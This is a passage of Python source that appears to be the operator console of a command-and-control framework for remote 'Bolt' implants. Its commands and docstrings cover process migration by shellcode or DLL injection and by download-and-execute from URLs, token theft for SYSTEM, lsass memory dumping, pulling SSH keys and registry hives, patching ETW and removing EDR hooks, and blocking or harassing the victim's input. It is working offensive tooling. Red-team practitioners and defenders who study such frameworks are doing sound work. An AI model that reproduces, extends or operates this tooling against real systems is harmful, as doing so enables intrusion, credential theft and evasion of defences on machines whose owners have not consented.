\"HKCU:\\\\Control Panel\\\\Desktop\\\\My Key\"\n regedit set \"HKCU:\\\\Control Panel\\\\Desktop\" \"Wallpaper\" string \"C:\\\\lol.jpg\"\n regedit ls \"HKCU:\\\\System\\\\CurrentControlSet\\\\Services\"\n regedit ls \"HKLM\\\\Hardware\\\\Description\\\\System\\\\CentralProcessor\"\n \"\"\"\n if _is_help(a):\n return self.do_help(\"regedit\")\n if len(a) < 2:\n return print(\"regedit [value] [type] [data|int]\")\n r = PARSERS[PARSER_REGEDIT].parse_args(a, eq=True)\n if not nes(r.action) or not nes(r.key):\n return print(\"regedit [value] [type] [data|int]\")\n self._exec(\n self.shell.cirrus.task_registry,\n action=r.action.lower(),\n key=r.key,\n value=r.value,\n type=r.exp,\n data=r.data,\n force=r.force,\n )\n del r\n\n def do_rev2self(self, _):\n \"\"\"\n rev2self\n\n OS: Windows\n OPsec: Safe\n Admin: No\n\n Revert the token status to before any impersonation occurred. This would\n be used to reset permissions after finished with an \"elevate\", \"steal\" or\n \"make_token\" command.\n \"\"\"\n self._system(\"rev2self\")\n\n def do_set_hide(self, v):\n \"\"\"\n set_hide [boolean]\n\n OS: n/a\n OPsec: n/a\n Admin: n/a\n\n Enable/Disable global shell command visibility. If no option is specified,\n command windows are hidden. Can take multiple types of boolean values\n (\"true\", \"T\", \"t\", \"yes\", \"y\", \"enable\", \"e\", \"1\").\n\n Examples:\n set_hide\n set_hide no\n set_hide true\n \"\"\"\n n = True\n if len(v) > 0:\n n = is_true(v)\n n = not n\n print(f\"[+] Set Show Window: {self.show} => {n}.\")\n c = self.show != n\n self.show = n\n del n\n return c\n\n def do_write(self, d, p):\n \"\"\"\n write \n\n OS: Any\n OPsec: Not Safe! Disk Write\n Admin: Maybe (depends on target)\n\n Write the supplied contents to the remote path. This will overrite\n the contents if the current path exists.\n\n Data passed to this command will be evaluated for Data Specification\n Identifiers, but will default to text.\n\n See \"help data\" for more info on Data Specification Identifiers.\n\n Examples:\n write \"hello world!\" C:/hello.txt\n \"\"\"\n if not nes(p):\n return print(\"write \")\n if not isinstance(d, str):\n d = \"\"\n self._exec(self.shell.cirrus.task_upload, data=d, dest=p)\n\n def do_migrate(self, *a):\n \"\"\"\n migrate [pipe] [file]\n | [-m|--method] \n | [-t|--target] \n | [-n|--profile \n | [-f|--args] \n | [-a|--agent] \n | [-R|--no-reflect]\n | [-u|--user] <[domain\\\\]user[@domain]>\n | [-d|--domain] \n | [-p|--password] \n | [-e|--entry] \n | [-z|--no-auto]\n\n OS: Any\n OPsec: Not Safe! (If a local file without reflect is used), Disk Write\n Admin: Maybe (depends on method/target)\n\n Migrate control to another process using a type of method. The method can\n be specified by the \"-m\" argument.\n\n The \"pipe\" argument is required and specifies what pipe name to use to\n connect to the new instance. (However if the \"-P/--pipe\" argument was\n specified at runtime or through the \"DOPPLER_PIPE\" environment variable\n the pipe value will be inferred from there and it may be omitted. This\n action can be disable using the \"-z/--no-auto\" argument.) The pipe value\n is most likely compiled into the client.\n\n If any DLL or ASM files are specified using the Doppler command line, the\n file will be used if no file path is specified. Doppler will perfer the ASM\n payload over DLL, if specified. If no method is specified, it will default\n to ASM or DLL if a file is specified.\n\n By default, the current profile will be used, but can be changed by\n specifying the name with the \"-n\" argument.\n\n If the method is \"self\", \"exec\" or \"exe\" the additional \"-u\", \"-p\" and\n \"-d\" arguments may be used to change the user the process is executed as.\n See the \"runas\" command for more info.\n\n Data Specification Identifiers may be used in the data arguments to this\n command.\n\n See \"help data\" for more info on Data Specification Identifiers.\n\n The following methods are valid:\n\n dll\n | Use the data specified as a DLL migration method. This method requires\n | a target to be specified as the host for the DLL. By default, if the\n | \"-R\" or \"--no-reflect\" arguments are NOT supplied, this will convert\n | the DLL data to assembly before sending it to the client. Otherwise the\n | DLL will be written to disk before loading.\n |\n | If a remote path identifier is used instead, the \"-R\" and \"--no-reflect\"\n | arguments are ignored.\n |\n | The \"-e\" or \"--entry\" argument can be used to specify the function started\n | after DLLMain. This will only occur if the DLL is reflected and will be\n | ignored if empty.\n\n asm\n | Use the data specified as assembly migrate code. This method requires\n | a target to be specified as the host for the shellcode. If the data\n | represents a DLL, this will convert the DLL to assembly before sending\n | it to the client.\n |\n | The \"-e\" or \"--entry\" argument can be used to specify the function started\n | after DLLMain (if the file is a DLL or DLL bytes).\n\n exec|exe\n | Execute a command as the migrate method. This is the default option\n | if a method is not specified. If the special value \"self\" is used, this\n | will use the current client binary path to execute instead.\n\n pexec|url\n | Download a payload and execute it as a migrate method. This works\n | similar to the \"dex\" command and follows the same content rules.\n | This method will be automatically selected if a URL is detected and\n | no method is specified. To force the usage of this method, use \"pexec\"\n | or \"url\" as the \"-m\" argument value.\n |\n | Similar to the \"dex\" command, the \"-a\" or \"--agent\" argument may be\n | used to change the User-Agent used from the default value. See the\n | \"dex\" or \"pull\" command for more info.\n |\n | If a target is specified and the downloaded type requires a target, it\n | will be used, otherwise a random process will be chosen.\n |\n | If the download type is a command type the parent can be controlled by\n | the parent filter, which can be updated with the filter commands. By\n | default the parent will be the current client process if not set.\n\n zombie\n | Use the data specified as assembly migrate code in a zombified process.\n | This method requires a command to be used as the host, supplied using the\n | \"-f\" argument. The running binary must exist but the arguments may be\n | random/invalid. If the data represents a DLL, this will convert the DLL\n | to assembly before sending it to the client.\n |\n | The parent of the zombie process can be controlled by the parent filter,\n | which can be updated with the filter commands. By default the parent\n | will be the current client process if not set.\n |\n | The \"-e\" or \"--entry\" argument can be used to specify the function started\n | after DLLMain (if the file is a DLL or DLL bytes).\n\n The arguments for this command are similar to the \"spawn\" command.\n\n Examples:\n migrate pipe-me self\n migrate -m exec pipe-me\n migrate -p my_profile -m dll pipe-me ~/implant.dll\n migrate pipe-me http://path.to.shell.code\n migrate -m url pipe-me path.to.shell.code\n migrate -p my_profile -m asm ~/bolt.bin\n migrate -m zombie -f notepad.exe ~/implant.dll\n migrate -m self -u admin -p Password123 derp-me\n \"\"\"\n if _is_help(a):\n return self.do_help(\"migrate\")\n if len(a) < 1:\n return print(\"migrate [pipe] [data]\")\n r = PARSERS[PARSER_SPAWN].parse_args(a)\n if nes(self.shell.pipe) and not r.no_auto:\n if not nes(r.data) and nes(r.pipe):\n r.data = r.pipe\n r.pipe = self.shell.pipe\n print(HELP_PIPE.format(pipe=self.shell.pipe))\n elif not nes(r.pipe):\n r.pipe = self.shell.pipe\n print(HELP_PIPE.format(pipe=self.shell.pipe))\n if not nes(r.pipe):\n return print(\"[!] migrate: invalid/missing pipe name\")\n f = self.filter\n if nes(r.target):\n f = _quick_filter(r.target)\n try:\n m, c = _get_callable(\n \"migrate\", self.show, r, self.shell.asm, self.shell.dll\n )\n except (ValueError, OSError) as err:\n return print(f\"[!] {err}!\")\n self._exec(\n self.shell.cirrus.task_migrate,\n pipe=r.pipe,\n method=m,\n profile=r.profile,\n exec=c,\n filter=f,\n )\n del f, m, c, r\n\n def do_loginas(self, *a):\n \"\"\"\n loginas [-i|--interactive] [-d|--domain ] <[domain\\\\]user[@domain]> [password]\n\n OS: Any\n OPsec: Maybe (Network/ETW logs?)\n Admin: No\n\n Perform a network login with the supplied credentials. The command will\n NOT use any stored credentials and will only use the credentials specified.\n\n This allows for any commands/access outside of the local device to be\n authenticated as the target user. The current process username will NOT\n change as this only affects REMOTE resources.\n\n If a domain is not specified with \"-d\" or \"--domain\", it will be parsed\n from the username. Common domain prefixes/suffixes are recognized, such\n as:\n\n - user@domain\n - domain/user\n - domain\\\\user\n\n If a domain is found, the username will be cleaned (without the domain)\n and use and the domain will be used as the new domain value.\n\n By default this command will do a network login. If the \"-i\"/\"--interactive\"\n argument is supplied, an interactive login attempt will be made.\n\n Alias of \"make_token\".\n\n Examples:\n loginas alice\n loginas -i bob Password123\n loginas corp\\\\bob Password123\n loginas -d example.com joe password1\n \"\"\"\n self.do_make_token(*a)\n\n def do_mktoken(self, *a):\n \"\"\"\n mktoken [-i|--interactive] [-d|--domain ] <[domain\\\\]user[@domain]> [password]\n\n OS: Any\n OPsec: Maybe (Network/ETW logs?)\n Admin: No\n\n Perform a network login with the supplied credentials. The command will\n NOT use any stored credentials and will only use the credentials specified.\n\n This allows for any commands/access outside of the local device to be\n authenticated as the target user. The current process username will NOT\n change as this only affects REMOTE resources.\n\n If a domain is not specified with \"-d\" or \"--domain\", it will be parsed\n from the username. Common domain prefixes/suffixes are recognized, such\n as:\n\n - user@domain\n - domain/user\n - domain\\\\user\n\n If a domain is found, the username will be cleaned (without the domain)\n and use and the domain will be used as the new domain value.\n\n By default this command will do a network login. If the \"-i\"/\"--interactive\"\n argument is supplied, an interactive login attempt will be made.\n\n Alias of \"make_token\".\n\n Examples:\n mktoken alice\n mktoken bob Password123\n mktoken corp\\\\bob Password123\n mktoken -d example.com joe password1\n \"\"\"\n self.do_make_token(*a)\n\n def do_funcmap(self, *a):\n \"\"\"\n funcmap [function] [-r|--raw] [data]\n\n OS: Windows\n OPsec: Safe-ish (depends on arguments)\n Admin: No\n\n NOTE: This ability must be compiled in the client in order to work!\n Otherwise this command will always return an error. Check the \"Abilities\"\n section using \"info\" and look for \"funcmap\" to determine if this is avaliable.\n\n Create a new memory segment and write the trampaline and syscall to the\n memory and subsitute if for the supplied Nt* function name.\n\n This function allows for bypassing ETW and/or EDR hooking and can be used\n to call Nt* functions through our own memory block. Due to this, all\n functions this command applies to are Nt* (syscall) functions in ntdll.dll.\n\n This commands takes arguments similar to \"patch_dll\" and \"check_dll\",\n except for the function name is explicit and no local paths are allowed.\n\n The \"action\" method is also required and takes the following values:\n\n ls\n | Reterive a listing of the current remapped functions and their memory\n | addresses. The names of the functions returned are hashed using FNV32\n | and are not their direct names.\n\n add\n | Add a function to be remapped. This requires the function name and\n | a data source. If the client is not using this function, this will return\n | and error of \"File not Found\". Any data passed to this command will be\n | evaluated for Data Specification Identifiers, but will default to a\n | local file path.\n |\n | See \"help data\" for more info on Data Specification Identifiers.\n |\n | The \"--raw\" option may be used to indicate that the passed bytes, file\n | or string is raw Assembly and should not be parsed by the DLL loader.\n\n del, delete, remove\n | Remove a remapped function. This only requires the function name.\n\n del_all, delete_all, remove_all\n | Remove ALL currently remapped functions. This does not require any\n | additional arguments.\n\n Examples:\n funcmap ls\n funcmap remove_all\n funcmap del NtQuerySystemInformation\n funcmap add NtCreateThreadEx ~/ntdll.dll\n funcmap add NtOpenProcess -r b$\\\\x43\\\\x90\\\\x0F\\\\x05\n \"\"\"\n if _is_help(a):\n return self.do_help(\"funcmap\")\n if len(a) == 0:\n return print(\"funcmap [function] [data]\")\n r = PARSERS[PARSER_FUNCMAP].parse_args(a, nones=False)\n if not nes(r.action):\n return print(\"funcmap [function] [data]\")\n self._exec(\n self.shell.cirrus.task_funcmap,\n action=r.action,\n function=r.function,\n data=r.data,\n raw=r.raw,\n )\n del r\n\n def do_poweroff(self, *a):\n \"\"\"\n poweroff [-r|--reason ] [-t|--seconds ] [-f|--force] [message]\n\n OS: Any\n OPsec: I guess?\n Admin: Maybe (depends on permissions)\n\n Triggers a shutdown of the client device.\n\n Force \"-f\" can be used to forcefully disconnect and shutdown the device,\n preventing it from waiting based on running user programs.\n\n The \"-r\" specifies the reason code, which determines what is written in\n the Windows event log. Hex values for this option are accepted. This\n option and the \"-f\" force option are only used for Windows clients.\n\n The \"-s\" seconds value can be specified to delay the shutdown for the period\n of time specified. If omitted, this defaults to zero.\n\n Any text that is not an argument is taken as a message string that is\n displayed to Windows clients in the \"shutdown\" message. This message may\n use Data Specification Identifiers to display raw or Base64 data, but it\n will not accept file paths. If no identifiers are found, it defaults to\n a string.\n\n See \"help data\" for more info on Data Specification Identifiers.\n\n Examples:\n poweroff -r 0xFA -s 15\n poweroff -s 30 All your base are belong to us!\n \"\"\"\n if _is_help(a):\n return self.do_help(\"poweroff\")\n if len(a) == 0 and not do_ask(\"Poweroff this device\"):\n return\n r = PARSERS[PARSER_POWER].parse_args(a, cat=\" \")\n self._exec(\n self.shell.cirrus.task_power,\n action=\"shutdown\",\n message=r.message,\n force=r.force,\n seconds=r.seconds,\n reason=r.reason,\n )\n del r\n\n def do_wallpaper(self, p):\n \"\"\"\n wallpaper \n\n OS: Windows\n OPsec: Not Safe! (only if a local file is used), Disk Write\n Admin: No\n\n Changes the current user's wallpaper. The behavior of this command is\n affected by the path specified. This function fails if the client is\n not running in a Desktop session.\n\n If no Data Specification Identifier is found or the identifier indicates\n | any identifier that is NOT external, the raw contents will be loaded\n | into memory and sent to the client. The wallpaper will be saved to\n | disk before setting the new wallpaper.\n\n If the data contains a Remote File Path Data Specification Identifier,\n | path will be sent to the client to load the path directly from disk.\n | This will process local client environment variables.\n\n See \"help data\" for more info on Data Specification Identifiers.\n\n Examples:\n wallpaper ~/troll.png\n wallpaper x$C:/Windows/web/web1.jpg\n \"\"\"\n if len(p) == 0:\n return print(\"wallpaper \")\n self._exec(self.shell.cirrus.task_wallpaper, data=p)\n\n def do_zerotrace(self, _):\n \"\"\"\n zerotrace\n\n OS: Windows\n OPsec: Safe\n Admin: No\n\n Attempts to prevent any ETW/Debugging logs by NOP-ing/RET-ing the\n ETW event and debugging Windows API function calls.\n\n This is a helper function that aliases \"evade patch_etw\".\n \"\"\"\n self.do_evade(\"patch_etw\")\n\n def do_upload(self, f, p):\n \"\"\"\n upload [remote_path]\n\n OS: Any\n OPsec: Not Safe! Disk Write\n Admin: Maybe (depends on target)\n\n Upload a local file to the client at the supplied remote_path.\n\n If the remote file path is omitted or empty, the basename of the current\n file will be used and it will be placed in the client's current working\n directory.\n\n Environment variables are processed on the client (for the remote_path).\n\n Data passed to this command will be evaluated for Data Specification\n Identifiers, but will default to a local file.\n\n See \"help data\" for more info on Data Specification Identifiers.\n\n Examples:\n upload ~/file\n upload ~/hacker_file.txt C:/file.txt\n upload note.txt $USERPROFILE/Desktop/note.txt\n \"\"\"\n if not nes(f):\n return print(\"upload [remote_path]\")\n if not nes(p):\n p = basename(f)\n self._exec(self.shell.cirrus.task_upload, data=f, dest=p)\n\n def do_getsystem(self, _):\n \"\"\"\n getsystem\n\n OS: Windows\n OPsec: Safe\n Admin: Maybe (depends on target)\n\n Attempt to steal and use a token from a built in list of standard processes.\n\n This function is a wrapper for the \"elevate\" command that uses the following\n processes for elevation:\n\n - svchost.exe\n - winlogon.exe\n - wininit.exe\n\n For more fine grain control of the target(s), use the \"elevate\" or \"steal\"\n commands.\n \"\"\"\n f = Filter()\n f.elevated = True\n f.include = [\"svchost.exe\", \"winlogon.exe\", \"wininit.exe\"]\n self._system(\"elevate\", filter=f)\n del f\n\n def do_workhours(self, *a):\n \"\"\"\n workhours [-d|--days ] [-s|--start ] [-e|--end ]\n\n OS: Any\n OPsec: n/a\n Admin: n/a\n\n Update the client working hours and/or days. The values set by this command\n are specified by arguments instead of directly to avoid confusion.\n\n The \"-d\"/\"--days\" argument specifies a day value string that specifies the\n days this client may operate on. This takes the form of a \"SMTWRFS\" string\n (Sunday as the first day). The day values do not have to be in order except\n for Sunday (S) which MUST be the first \"S\" in order to be detected. If empty\n or ignored, this is treated as all days or \"SMTWRFS\".\n\n The \"-s\"/\"--start\" argument takes a value in the form of \"HH:MM\" which\n specifies the time this client may start operating. If this value is omitted\n or empty it will be treated as the start of the next avaliable working\n or enabled day.\n\n The \"-e\"/\"--end\" argument takes a value in the form of \"HH:MM\" which\n specifies the time this client must stop operating. If this value is omitted\n or empty it will be treated as midnight and the client will stop operating\n if the next day is not avaliable OR if start hours are set, which it will\n wait for the start hours to be valid first.\n\n If no arguments are specified, this will display the current working hours\n settings.\n\n Examples:\n workhours\n workhours -s 9:30 -e 16:30\n workhours -d SMTFS -e 18:30\n workhours -d MFWRF -s 8:45 -e 17:30\n \"\"\"\n if _is_help(a):\n return self.do_help(\"workhours\")\n if len(a) == 0:\n s = self.shell.cirrus.session(self.id)\n w = s.get(\"work_hours\")\n if not isinstance(w, dict) or len(w) == 0:\n del w, s\n return print(\"No Work Hours are set\")\n print(\"Work Hours:\")\n d = w.get(\"days\")\n if nes(d):\n print(f' {\"Days\":<12}{d}')\n del d\n k, j = w.get(\"start_hour\"), w.get(\"start_min\")\n if isinstance(k, int) and isinstance(j, int):\n print(f' {\"Start:\":<12}{k:02}:{j:02}')\n del k, j\n f, g = w.get(\"end_hour\"), w.get(\"end_min\")\n if isinstance(f, int) and isinstance(g, int):\n print(f' {\"End:\":<12}{f:02}:{g:02}')\n del w, s, f, g\n return\n r = PARSERS[PARSER_WORKHOURS].parse_args(a, nones=False)\n if r.clear:\n self._exec(self.shell.cirrus.task_workhours, days=\"\", start=\"\", end=\"\")\n elif nes(r.days) or nes(r.start) or nes(r.end):\n self._exec(\n self.shell.cirrus.task_workhours, days=r.days, start=r.start, end=r.end\n )\n del r\n\n def do_check_dll(self, *a):\n \"\"\"\n check_dll [-r|--raw] [-f|--function ] [data]\n\n OS: Windows\n OPsec: Safe-ish (depends on arguments)\n Admin: No\n\n Inspect the memory region or function (if supplied) of the supplied DLL\n name or path to determine if any hooks are present.\n\n A DLL name, such as ntdll, kernel32 or shell32 for example may be\n specified. If a path is specified, the full path may be omitted if the\n DLL is a well known DLL, such as shell32. The \".dll\" extension may also\n be omitted regardless of full path or name. Functions may be specified\n with the \"-f\" argument.\n\n Function checks without any source (or the \"--raw\" argument) will just\n perform a JMP instruction check in the first 4 bytes to determine if there\n is any long JMPs in place.\n\n Any source data in this function will be used to compare against. If no\n function is specified with no source, this will load the file from the\n local client file system. Any data passed to this function will be evaluated\n for Data Specification Identifiers, but will default to a local file path.\n\n See \"help data\" for more info on Data Specification Identifiers.\n\n The \"--raw\" option may be used to indicate that the passed bytes, file or\n string is raw Assembly and should not be parsed by the DLL loader. When\n used without source, this indicates to the client to compare against the\n parsed local file on the client. This is only valid when a function is\n specified.\n\n Examples:\n check_dll ntdll\n check_dll ntdll.dll -f NtOpenProcess\n check_dll C:/Windows/System32/shell32.dll\n check_dll kernel32.dll -f CreateEventW b$\\\\x40\\\\x43\n check_dll C:/Windows/System32/user32 -f MessageBoxW ~/local_user32.dll\n \"\"\"\n if _is_help(a):\n return self.do_help(\"check_dll\")\n if len(a) == 0:\n return print(\"check_dll [data]\")\n r = PARSERS[PARSER_CHECK].parse_args(a, nones=False)\n if not nes(r.dll):\n return print(\"check_dll [data]\")\n if not nes(r.data) and not r.raw and nes(r.function):\n print(\n \"[+] This will run a simple JMP check and may return false positives. Use this command \"\n 'with the matching local DLL file to compare or use \"--raw\" to use the local DLL source.'\n )\n self._exec(\n self.shell.cirrus.task_check,\n dll=r.dll,\n function=r.function,\n data=r.data,\n raw=r.raw,\n )\n del r\n\n def do_patch_dll(self, *a):\n \"\"\"\n patch_dll [-r|--raw] [-f|--function ] [data]\n\n OS: Windows\n OPsec: Safe-ish (depends on arguments)\n Admin: No\n\n Overwrite the memory region or function (if supplied) of the supplied DLL\n name, eliminating any hooks placed on DLL functions.\n\n A DLL name, such as ntdll, kernel32 or shell32 for example may be\n specified. If a path is specified, the full path may be omitted if the\n DLL is a well known DLL, such as shell32. The \".dll\" extension may also\n be omitted regardless of full path or name. Functions may be specified\n with the \"-f\" argument.\n\n Any source data in this command will be used as the patch data. If no\n source is specified, this will load the file from the local client file\n system. Any data passed to this command will be evaluated for Data\n Specification Identifiers, but will default to a local file path.\n\n See \"help data\" for more info on Data Specification Identifiers.\n\n The \"--raw\" option may be used to indicate that the passed bytes, file or\n string is raw Assembly and should not be parsed by the DLL loader.\n\n Examples:\n patch_dll ntdll\n patch_dll ntdll.dll\n patch_dll ntdll.dll -f NtCreateThreadEx b$\\\\x40\\\\x4E\\\\x90\n patch_dll C:/Windows/System32/shell32.dll -f ShellExecuteW\n patch_dll kernel32.dll -f OpenProcess ~/local_kernel32.dll\n \"\"\"\n if _is_help(a):\n return self.do_help(\"patch_dll\")\n if len(a) == 0:\n return print(\"patch_dll [data]\")\n r = PARSERS[PARSER_CHECK].parse_args(a, nones=False)\n if not nes(r.dll):\n return print(\"patch_dll [data]\")\n self._exec(\n self.shell.cirrus.task_patch,\n dll=r.dll,\n function=r.function,\n data=r.data,\n raw=r.raw,\n )\n del r\n\n def do_troll(self, a, arg):\n \"\"\"\n troll [arg]\n\n OS: Windows\n OPsec: Safe\n Admin: Maybe (depends on action)\n\n Performs a \"troll\" action. Many of these can be used to annoy/frustrate\n the current user. Some actions may require elevated privileges.\n\n If no enable/disable is specified, this commands defaults to \"enable\".\n\n The following are valid actions:\n\n bi, block_input\n | Blocks all user input (including the mouse), rending the console useless.\n | This requires elevated privileges.\n\n hc, high_contrast\n | Swaps the current Windows theme to the high contrast theme.\n\n sm, swap_mouse\n | Swaps the left and right mouse buttons.\n\n wtf:\n | Enables WTF mode. This causes all active windows on the current user\n | session to change opacity, move, resize and minimize/maximize randomally\n | for the specified duration (in seconds). If no duration is specified\n | it will default to 30 seconds.\n\n Examples:\n troll sm\n troll hc false\n troll block_input\n \"\"\"\n if _is_help(a):\n return self.do_help(\"troll\")\n if not nes(a):\n return print(\"troll [enable|disable]\")\n if a[0] == \"w\" or a[0] == \"w\":\n if nes(arg):\n try:\n return self._exec(\n self.shell.cirrus.task_troll, action=a, seconds=int(arg)\n )\n except ValueError:\n return print(\"[!] WTF argument must be a number of seconds!\")\n return self._exec(self.shell.cirrus.task_troll, action=a, arg1=None)\n self._exec(\n self.shell.cirrus.task_troll, action=a, enable=not nes(arg) or is_true(arg)\n )\n\n def do_parent_pid(self, v):\n \"\"\"\n parent_pid [pid]\n\n OS: n/a\n OPsec: n/a\n Admin: n/a\n\n Set the global parent filter PID. If the PID argument is omitted or empty,\n the PID value is cleared.\n\n PID settings on filters take precedence over all other settings.\n\n This command changes the behavior of all command based functions and will\n attempt to target the specified PID. If the PID no longer exists, all\n commands ran will fail with an error.\n\n Examples:\n parent_pid\n parent_pid 1337\n \"\"\"\n if self.filter is None:\n self.filter = Filter()\n c = False\n if len(v) == 0:\n c = self.filter.pid is not None\n self.filter.pid = None\n else:\n try:\n p = int(v)\n except ValueError:\n return print(f'[!] PID \"{v}\" is not a valid integer!')\n if p <= 0:\n return print(\"[!] PID must be greater than zero!\")\n c = self.filter.pid != c\n self.filter.pid = p\n del p\n if c:\n print(f\"[+] Parent Filter Updated:\\n {self.filter}\")\n else:\n print(f\"[+] Parent Filter:\\n {self.filter}\")\n return c\n\n def do_screenshot(self, d):\n \"\"\"\n screenshot [output_file]\n\n OS: Windows\n OPsec: Safe\n Admin: No\n\n Takes a screenshot of the current desktop. This may fail if the client\n is running in a service context. The file is saved as a PNG to the\n supplied local path. If the path is empty, or omitted, a path based\n on the current directory and the Bolt ID will be used instead.\n\n Examples:\n screenshot\n screenshot ~/screenshot-1.png\n \"\"\"\n self._system(\"screenshot\", out=d)\n\n def do_download(self, f, p):\n \"\"\"\n download [local_path]\n\n OS: Any\n OPsec: Safe\n Admin: Maybe (depends on target)\n\n Download a remote file. If the local path is non-empty and not omitted,\n the downloaded contents will be saved to that local path. Otherwise the\n contents of the file will be displayed on screen, similar to the \"cat\"\n command.\n\n Environment variables are processed on the client (for the remote_path).\n\n Examples:\n download /root/.ssh/id_rsa ~/keys.pem\n download C:/important-file.txt\n download C:/Windows/system32/config/SYSTEM system.reg\n \"\"\"\n if not nes(f):\n return print(\"download [local_path]\")\n self._exec(self.shell.cirrus.task_download, target=f, dest=p)\n\n def do_procdump(self, v, o):\n \"\"\"\n procdump [pid | process_name] [output_file]\n\n OS: Any except WASM\n OPsec: Safe\n Admin: Maybe (depends on target)\n\n Dump the memory of a target process.\n\n If the pid and/or name is not supplied, the parent filter will be used,\n which can be updated with the filter commands.\n\n If no pid or name is supplied and the parent filter is empty, this will\n return an error.\n\n Examples:\n procdump\n procdump 1337\n procdump httpd\n procdump lsass.exe\n \"\"\"\n self._system_filter(\"procdump\", v, o)\n\n def do_parent_name(self, v):\n \"\"\"\n parent_name [name1,name2,nameX...]\n\n OS: n/a\n OPsec: n/a\n Admin: n/a\n\n Set the global parent filter included target names. These represent the\n process names that CAN be selected when the filter does not have a PID\n value.\n\n If no PID setting is used, these values will be used in combination with\n the other filter settings to find a target process.\n\n The arguments can be a single entry or a list of comma seperated names.\n Omitting the argument will clear the list.\n\n This command changes the behavior of all command based functions and will\n attempt to target a process with a name that matches one (case-insensitive)\n or more in the supplied list. If none are found, all commands ran will\n fail with an error.\n\n This function is an alias of \"parent_include\" and inverse of \"parent_exclude\".\n\n Examples:\n parent_name\n parent_name explorer.exe\n parent_name winlogon.exe,lsass.exe\n \"\"\"\n return self.do_parent_include(v)\n\n def do_check_debug(self, _):\n \"\"\"\n check_debug\n\n OS: Any except WASM\n OPsec: Safe\n Admin: No\n\n Checks if the client process is being debugged. Returns true if a debugger\n is present, false otherwise.\n \"\"\"\n self._system(\"check_debug\")\n\n def prompt(self, args=None):\n self.id = args\n self.filter = None\n self._user, self._domain, self._password = \"\", \"\", \"\"\n print(\n f\"Entering interactive shell for Bolt {args}.\\nDefault execution is \",\n end=\"\",\n )\n if self.shell.no_default_run:\n print(\n 'disabled. Execution can only occur with \"run\", \"hup\", \"shell\" or \"pwsh\".'\n )\n else:\n print(\"enabled.\")\n return f\" > Bolts > {args} > \"\n\n def do_make_token(self, *a):\n \"\"\"\n make_token [-i|--interactive] [-d|--domain ] <[domain\\\\]user[@domain]> [password]\n\n OS: Any\n OPsec: Maybe (Network/ETW logs?)\n Admin: No\n\n Perform a network login with the supplied credentials. The command will\n NOT use any stored credentials and will only use the credentials specified.\n\n This allows for any commands/access outside of the local device to be\n authenticated as the target user. The current process username will NOT\n change as this only affects REMOTE resources.\n\n If a domain is not specified with \"-d\" or \"--domain\", it will be parsed\n from the username. Common domain prefixes/suffixes are recognized, such\n as:\n\n - user@domain\n - domain/user\n - domain\\\\user\n\n If a domain is found, the username will be cleaned (without the domain)\n and use and the domain will be used as the new domain value.\n\n By default this command will do a network login. If the \"-i\"/\"--interactive\"\n argument is supplied, an interactive login attempt will be made.\n\n Examples:\n make_token alice\n make_token bob Password123\n make_token corp\\\\bob Password123\n make_token -d example.com joe password1\n \"\"\"\n if _is_help(a):\n return self.do_help(\"make_token\")\n if len(a) == 0:\n return print(\"make_token [password]\")\n r = PARSERS[PARSER_CREDS].parse_args(a, nones=False)\n if not nes(r.user):\n return print(\"make_token [password]\")\n u, d = split_user_domain(r.user, r.domain)\n self._exec(\n self.shell.cirrus.task_login,\n user=u,\n domain=d,\n pw=r.pw,\n interactive=r.interactive,\n )\n del u, d, r\n\n def do_show_window(self, v):\n \"\"\"\n show_window [boolean]\n\n OS: n/a\n OPsec: n/a\n Admin: n/a\n\n Enable/Disable global shell command visibility. If no option is specified,\n command windows are hidden. Can take multiple types of boolean values\n (\"true\", \"T\", \"t\", \"yes\", \"y\", \"enable\", \"e\", \"1\").\n\n Alias of \"set_hide\"\n\n Examples:\n show_window\n show_window no\n show_window true\n \"\"\"\n n = True\n if len(v) > 0:\n n = is_true(v)\n n = not n\n print(f\"[+] Set Show Window: {self.show} => {n}.\")\n c = self.show != n\n self.show = n\n del n\n return c\n\n def do_parent_clear(self, _):\n \"\"\"\n parent_clear\n\n OS: n/a\n OPsec: n/a\n Admin: n/a\n\n Clears the global parent filter.\n\n This command changes the behavior of all command based functions and will\n set the filter behavior back to the default (native).\n \"\"\"\n if self.filter is None or self.filter.is_empty():\n self.filter = None\n return False\n self.filter.clear()\n self.filter = None\n print(\"[+] Parent Filter Cleared.\")\n return True\n\n def complete_job(self, n, *_):\n return self.shell.cache.jobs(self.id, n, False)\n\n def complete_man(self, n, *_):\n return make_menu(n, _MENU)\n\n def do_parent_desktop(self, v):\n \"\"\"\n parent_desktop [boolean]\n\n OS: n/a\n OPsec: n/a\n Admin: n/a\n\n Set the global parent filter desktop/session target. A \"true\" value\n represents a process that is running in a user session and most likely\n has a desktop. \"false\" values target processes that do NOT have a desktop,\n such as services or lsass.exe.\n\n If no PID setting is used, these values will be used in combination with\n the other filter settings to find a target process.\n\n Omitting the argument will clear this filter option.\n\n This command changes the behavior of all command based functions and will\n attempt to target a process with the desktop/filter option chosen (if set).\n If none are found, all commands ran will fail with an error.\n\n Examples:\n parent_desktop\n parent_desktop no\n parent_desktop true\n \"\"\"\n if self.filter is None:\n self.filter = Filter()\n r = None\n if len(v) > 0:\n r = is_true(v)\n c = self.filter.session != r\n self.filter.session = r\n if c:\n print(f\"[+] Parent Filter Updated:\\n {self.filter}\")\n else:\n print(f\"[+] Parent Filter:\\n {self.filter}\")\n return c\n\n def do_parent_include(self, v):\n \"\"\"\n parent_include [name1,name2,nameX...]\n\n OS: n/a\n OPsec: n/a\n Admin: n/a\n\n Set the global parent filter included target names. These represent the\n process names that CAN be selected when the filter does not have a PID\n value.\n\n If no PID setting is used, these values will be used in combination with\n the other filter settings to find a target process.\n\n The arguments can be a single entry or a list of comma seperated names.\n Omitting the argument will clear the list.\n\n This command changes the behavior of all command based functions and will\n attempt to target a process with a name that matches one (case-insensitive)\n or more in the supplied list. If none are found, all commands ran will\n fail with an error.\n\n Inverse of \"parent_exclude\".\n\n Examples:\n parent_include\n parent_include explorer.exe\n parent_include winlogon.exe,lsass.exe\n \"\"\"\n if self.filter is None:\n self.filter = Filter()\n r = _split_list(v)\n c = self.filter.include != r\n self.filter.include = r\n if c:\n print(f\"[+] Parent Filter Updated:\\n {self.filter}\")\n else:\n print(f\"[+] Parent Filter:\\n {self.filter}\")\n return c\n\n def do_parent_exclude(self, v):\n \"\"\"\n parent_exclude [name1,name2,nameX...]\n\n OS: n/a\n OPsec: n/a\n Admin: n/a\n\n Set the global parent filter excluded target names. These represent the\n process names that CANNOT be selected when the filter does not have a PID\n value.\n\n If no PID setting is used, these values will be used in combination with\n the other filter settings to find a target process.\n\n The arguments can be a single entry or a list of comma seperated 